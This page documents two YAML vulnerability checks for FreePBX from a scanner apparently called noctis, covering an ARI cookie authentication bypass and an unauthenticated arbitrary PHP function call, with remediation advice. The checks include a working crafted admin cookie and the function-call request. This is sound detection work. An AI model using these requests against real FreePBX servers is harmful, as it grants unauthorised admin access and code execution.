FreePBX — 2 vulnerability checks

noctis ships 2 vulnerability checks for FreePBX, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

FreePBX ARI ari_auth cookie unserialize authentication bypass

CVECVE-2014-7235
Severitycritical · CVSS 10.0
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 97
Feedtests/vulnerabilities/freepbx/CVE-2014-7235.yaml

Requests the FreePBX Asterisk Recording Interface (ARI) page /recordings/index.php twice: once without a cookie, then with a crafted ari_auth cookie. The cookie is a PHP-serialized value holding an encrypted username and password that are both the boolean true, encrypted with ARI's default key. A vulnerable ARI unserializes the cookie and compares those booleans loosely with the administrator credentials, so the request is accepted as the ARI administrator. The finding is raised when the reply with the cookie shows the logged-in administrator menu (Logout, Voicemail and Call Monitor) while the reply without the cookie does not. It shows that the server unserializes attacker-controlled cookie data, which also allows remote code execution. The test only reads the page; nothing is changed.

How noctis detects it

  1. HTTP(S) request GET {{ari_path}}
  2. HTTP(S) request GET {{ari_path}}
  3. Parses / computes the next value with a Rhai script
  4. Checks st.exp for ^menu$ → finding QoD 97: GET … with the crafted ari_auth cookie (serialized username/password = true, ARI default key) returned the logged-in ARI administrator menu…
  5. Checks st.exp for ^menu$ → finding QoD 75: GET … with the crafted ari_auth cookie (serialized username/password = true, ARI default key) returned the logged-in ARI administrator menu…

References:

Feed source — tests/vulnerabilities/freepbx/CVE-2014-7235.yaml
# Port credit: OpenVAS/Greenbone NASL 2015/gb_freepbx_ari_auth_70188.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105195, GPL-2.0-only) — same GET <dir>/recordings/index.php
# with the same ari_auth cookie, byte for byte.
#
# The cookie is a PHP-serialized array(<encrypted blob>, md5(<blob>)). The blob is
# a:2:{s:8:"username";b:1;s:8:"password";b:1;} encrypted with ARI's built-in default
# key ($ARI_CRYPT_PASSWORD in htdocs_ari/includes/main.conf.php). Vulnerable ARI
# (htdocs_ari/includes/login.php, Login::Auth) unserialize()s the cookie, then the
# decrypted blob, and compares the booleans with `==` to $ariadminusername /
# $ariadminpassword: true == "<any non-empty string>" is true in PHP, so the request
# runs as the ARI administrator. The fix (FreePBX/fw_ari commit f294b45) swaps both
# unserialize() calls for json_decode(), which rejects this cookie. Checked with the
# vulnerable vendor Crypt::decrypt: the cookie decrypts to the two booleans and its
# md5 matches. The admin session is the proof that attacker-controlled data reached
# unserialize() — the same primitive the in-the-wild RCE abused — without sending an
# object payload. CVSS = NVD v2 (10.0; NVD has no v3 score for this CVE).
#
# Improvements over the NASL:
#  - a control GET of the same page WITHOUT the cookie is sent first; the finding
#    needs the control to show no logged-in menu (an ARI or a look-alike page that
#    always shows the menu is not reported). No control reply → QoD 75.
#  - the logged-in menu is also recognised by its language-independent links
#    (?logout=1, ?m=Voicemail, ?m=Callmonitor) — the NASL only matches the English
#    labels and misses a translated ARI.
uid: 3da9bf5b-84be-4bff-b6af-ea550196b5e3
name: "FreePBX ARI ari_auth cookie unserialize authentication bypass"
description: >-
  Requests the FreePBX Asterisk Recording Interface (ARI) page
  /recordings/index.php twice: once without a cookie, then with a crafted
  ari_auth cookie. The cookie is a PHP-serialized value holding an encrypted
  username and password that are both the boolean true, encrypted with ARI's
  default key. A vulnerable ARI unserializes the cookie and compares those
  booleans loosely with the administrator credentials, so the request is
  accepted as the ARI administrator. The finding is raised when the reply with
  the cookie shows the logged-in administrator menu (Logout, Voicemail and Call
  Monitor) while the reply without the cookie does not. It shows that the
  server unserializes attacker-controlled cookie data, which also allows remote
  code execution. The test only reads the page; nothing is changed.
category: auth-bypass
cves: [CVE-2014-7235]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [freepbx, asterisk, ari, recordings, deserialization, php-unserialize, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-7235"
  - "https://www.freepbx.org/?p=1572"
  - "https://github.com/FreePBX/fw_ari/commit/f294b4580ce725ca3c5e692d86e63d40cef4d836"
  - "http://www.securityfocus.com/bid/70188"
  # Source plugin (GPL-2.0-only):
  - "OpenVAS/Greenbone NASL 2015/gb_freepbx_ari_auth_70188.nasl"

vars:
  ari_path: "/recordings/index.php"
  ari_cookie: "ari_auth=a%3A2%3A%7Bi%3A0%3Bs%3A88%3A%22rT9bcNlEJv%2F1G9j9ZcqPUej1ntSHDwlDvrv1pphLMel2lppX43z4E%2BF2Yc3In070LIWRFCh1wanriTUnYC8%2F%2Bg%3D%3D%22%3Bi%3A1%3Bs%3A32%3A%224ffe329af509978387ac4af2fbb3a694%22%3B%7D"

steps:
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: ""
  - id: init-ari
    action: set_var
    var_name: ari
    var_value: ""

  # ── 1. Control: the same page without a cookie ─────────────────────────
  - id: control
    action: http_request
    method: GET
    path: "{{ari_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ctl

  # ── 2. Crafted ari_auth cookie (username/password = boolean true) ───────
  - id: exploit
    action: http_request
    method: GET
    path: "{{ari_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "{{ari_cookie}}"
    store_as: ari

  # Logged-in ARI menu: the English labels the reference check matches, or the
  # language-independent menu links. state: none (no reply) / login / menu.
  - id: state
    action: script
    code: |
      let menu = |b| {
        let en = b.contains(">Logout<") && b.contains(">Call Monitor<") && b.contains(">Voicemail<");
        let lk = egrep("\\?logout=1['\"]", b) != "" && egrep("[?&]m=Voicemail[&'\"]", b) != "" && egrep("[?&]m=Callmonitor[&'\"]", b) != "";
        en || lk
      };
      let st = #{ ctl: "none", exp: "none" };
      if type_of(ctl) == "map" { st.ctl = if menu.call(ctl.body) { "menu" } else { "login" }; }
      if type_of(ari) == "map" { st.exp = if menu.call(ari.body) { "menu" } else { "login" }; }
      st
    store_as: st

  # ── 3. Findings ────────────────────────────────────────────────────────
  - id: bypass-confirmed
    action: match
    source: st.exp
    pattern: "^menu$"
    condition: 'st.exp == "menu" && st.ctl == "login"'
    on_match:
      finding:
        cves: [CVE-2014-7235]
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{ari_path}} with the crafted ari_auth cookie (serialized username/password = true, ARI default key) returned the logged-in ARI administrator menu (Logout, Voicemail, Call Monitor); the same request without the cookie did not."
        remediation: "Update FreePBX to 2.9.0.9, 2.11.1.5 or later (or apply the ARI Framework module update that replaces unserialize() with json_decode()), change the default $ARI_CRYPT_PASSWORD, and keep /recordings off untrusted networks."
      stop: true

  - id: bypass-no-control
    action: match
    source: st.exp
    pattern: "^menu$"
    condition: 'st.exp == "menu" && st.ctl == "none"'
    on_match:
      finding:
        cves: [CVE-2014-7235]
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{ari_path}} with the crafted ari_auth cookie (serialized username/password = true, ARI default key) returned the logged-in ARI administrator menu (Logout, Voicemail, Call Monitor); the control request without the cookie got no reply, so it could not be compared."
        remediation: "Update FreePBX to 2.9.0.9, 2.11.1.5 or later (or apply the ARI Framework module update that replaces unserialize() with json_decode()), change the default $ARI_CRYPT_PASSWORD, and keep /recordings off untrusted networks."
      stop: true

FreePBX admin/config.php API handler arbitrary PHP function call

CVECVE-2014-1903
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/freepbx/CVE-2014-1903.yaml

Calls the FreePBX administration API handler without logging in: GET /admin/config.php?handler=api&function=md5&args=<random string> (with random display, file and module values). Vulnerable FreePBX releases call any PHP function named in the function parameter with the args parameter and return its result as JSON, which allows remote PHP code execution. The finding is raised when the reply contains the MD5 hash of the per-run random string, which only the server can have computed, proving that the attacker-chosen PHP function ran. When the handler is not reachable without logging in (the default database authentication) and the scan carries credentials, the same call is sent again as a POST form with the username and password in the body, which FreePBX checks in that same request. The test runs no operating-system command and changes nothing on the target. The web root and /freepbx are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/admin/config.php?display={{m.tok}}&handler=api&file={{m.tok}}&module={{m.tok}…
  4. Parses / computes the next value with a Rhai script
  5. Checks api.body for [0-9a-f]{32} → finding QoD 97: Unauthenticated GET …/admin/config.php?handler=api&function=md5&args=… returned … = md5("…"): the API handler called the attacker-chosen PH…
  6. HTTP(S) request POST {{dir}}/admin/config.php with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks api2.body for [0-9a-f]{32} → finding QoD 97: POST …/admin/config.php (handler=api&function=md5&args=…, logged in with the scan credentials in the same request) returned … = md5("…"): t…

References:

Feed source — tests/vulnerabilities/freepbx/CVE-2014-1903.yaml
# Port credit: OpenVAS/Greenbone NASL 2014/gb_freepbx_65509.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103920, GPL-2.0-only) — same GET
# <dir>/admin/config.php?display=…&handler=api&file=…&module=…&function=…&args=…
#
# Pre-fix FreePBX (framework view.functions.php, fileRequestHandler()) handles
# handler=api with:
#   if (isset($_REQUEST['function']) && function_exists($_REQUEST['function'])) {
#     $result = $_REQUEST['function']($_REQUEST['args']);
#     echo json_encode($result);
# i.e. any PHP function, called with an attacker-chosen argument, its return value
# echoed as JSON. The fix (FREEPBX-7117, commits a29382efe/ac160a8c3 then 1a53e4b33:
# 2.9.0.14, 2.10.1.15, 2.11.0.23, 12.0.1alpha22) whitelists the callable functions
# (only framework_get_conflict_url_helper) and requires FREEPBX_IS_AUTH; anything
# else dies with "../view/not allowed".
#
# Better than the NASL: the NASL calls function=system with an OS command
# (exploit_commands) and matches its output. This feed calls function=md5 on a
# per-run random string and expects md5(<string>) in the reply: the same arbitrary
# function call, but no OS command is run, nothing is written, and it still works
# where system()/exec() are listed in disable_functions (a host the NASL misses).
# The hash cannot be produced by a page that merely reflects the request, so no
# reflection false positive is possible. Both the web root and /freepbx are tried
# (the NASL uses the detected install dir).
#
# Reachability: config.php only dispatches handler= when $no_auth is unset. With
# AUTHTYPE=none (or 2.9's older dispatch) that is any request; with the default
# AUTHTYPE=database, gui_auth.php checks the username/password that config.php
# reads from $_REQUEST in the SAME request. So when the scan carries credentials,
# a second request POSTs the same call with username/password in the form body
# (not in the URL, to keep them out of access logs) — one round trip, no session.
#
# CVSS = NVD v2 (7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P); NVD has no v3 score.
uid: a7f148e1-a3d5-47b7-bd9b-e5751d288e0a
name: "FreePBX admin/config.php API handler arbitrary PHP function call"
description: >-
  Calls the FreePBX administration API handler without logging in:
  GET /admin/config.php?handler=api&function=md5&args=<random string> (with
  random display, file and module values). Vulnerable FreePBX releases call
  any PHP function named in the function parameter with the args parameter
  and return its result as JSON, which allows remote PHP code execution. The
  finding is raised when the reply contains the MD5 hash of the per-run random
  string, which only the server can have computed, proving that the
  attacker-chosen PHP function ran. When the handler is not reachable without
  logging in (the default database authentication) and the scan carries
  credentials, the same call is sent again as a POST form with the username and
  password in the body, which FreePBX checks in that same request. The test
  runs no operating-system command and changes nothing on the target. The web
  root and /freepbx are tried.
category: rce
cves: [CVE-2014-1903]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [freepbx, asterisk, php, code-injection, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1903"
  - "https://issues.freepbx.org/browse/FREEPBX-7117"
  - "https://github.com/FreePBX/framework/commit/a29382efeb293ef4f42aa9b841dfc8eabb2d1e03"
  - "https://www.exploit-db.com/exploits/32214"
  - "http://www.securityfocus.com/bid/65509"
  # Source plugin (GPL-2.0-only):
  - "OpenVAS/Greenbone NASL 2014/gb_freepbx_65509.nasl"

steps:
  # Per-run random argument, its MD5, and a filler for display/file/module.
  - id: mint
    action: script
    code: |
      let k = "noctis" + rand_hex(8);
      #{ arg: k, hash: md5(k), tok: "noctis" + rand_str(6) }
    store_as: m

  # Form-encoded username/password for the authenticated retry ("" = no creds).
  - id: login-form
    action: script
    store_as: auth
    code: |
      if !cred_enabled || !is_def_var("cred_username") || !is_def_var("cred_password") { return ""; }
      fn enc(s) {
        let out = "";
        for c in s.chars() {
          let ch = `${c}`;
          if ereg("^[A-Za-z0-9._~-]$", ch) { out += ch; }
          else {
            let h = toupper(hexstr(ch));
            let i = 0;
            while i < h.len() { out += "%" + h.sub_string(i, 2); i += 2; }
          }
        }
        out
      }
      "&username=" + enc(cred_username) + "&password=" + enc(cred_password)

  # ── Loop group: every step below runs once per candidate install dir ──
  - id: init-api
    action: set_var
    var_name: api
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/freepbx"]
      var: dir

  - id: init-api-auth
    action: set_var
    var_name: api2
    var_value: {status: 0, body: null}

  - id: api-call
    action: http_request
    method: GET
    path: "{{dir}}/admin/config.php?display={{m.tok}}&handler=api&file={{m.tok}}&module={{m.tok}}&function=md5&args={{m.arg}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: api

  - id: api-verify
    action: script
    code: |
      let b = api.body;
      type_of(b) == "string" && stridx(b, m.hash) >= 0
    store_as: hit

  - id: rce-match
    action: match
    source: api.body
    pattern: "[0-9a-f]{32}"
    condition: "hit == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Unauthenticated GET {{dir}}/admin/config.php?handler=api&function=md5&args={{m.arg}} returned {{m.hash}} = md5(\"{{m.arg}}\"): the API handler called the attacker-chosen PHP function md5() (HTTP {{api.status}})."
        remediation: "Update FreePBX to 2.9.0.14, 2.10.1.15, 2.11.0.23, 12.0.1alpha22 or later (framework module), which restricts the API handler to whitelisted functions for authenticated users, and keep /admin off untrusted networks."

  # ── Authenticated retry (default AUTHTYPE=database): same call, credentials
  # in the POST body, checked by gui_auth.php before the handler runs. ──
  - id: api-call-auth
    action: http_request
    method: POST
    path: "{{dir}}/admin/config.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit != true && auth != ""'
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "display={{m.tok}}&handler=api&file={{m.tok}}&module={{m.tok}}&function=md5&args={{m.arg}}{{auth}}"
    store_as: api2

  - id: api-verify-auth
    action: script
    code: |
      let b = api2.body;
      type_of(b) == "string" && stridx(b, m.hash) >= 0
    store_as: hit2

  - id: rce-match-auth
    action: match
    source: api2.body
    pattern: "[0-9a-f]{32}"
    condition: "hit2 == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{dir}}/admin/config.php (handler=api&function=md5&args={{m.arg}}, logged in with the scan credentials in the same request) returned {{m.hash}} = md5(\"{{m.arg}}\"): the API handler called the attacker-chosen PHP function md5() (HTTP {{api2.status}})."
        remediation: "Update FreePBX to 2.9.0.14, 2.10.1.15, 2.11.0.23, 12.0.1alpha22 or later (framework module), which restricts the API handler to whitelisted functions, and keep /admin off untrusted networks."

View these feeds on GitHub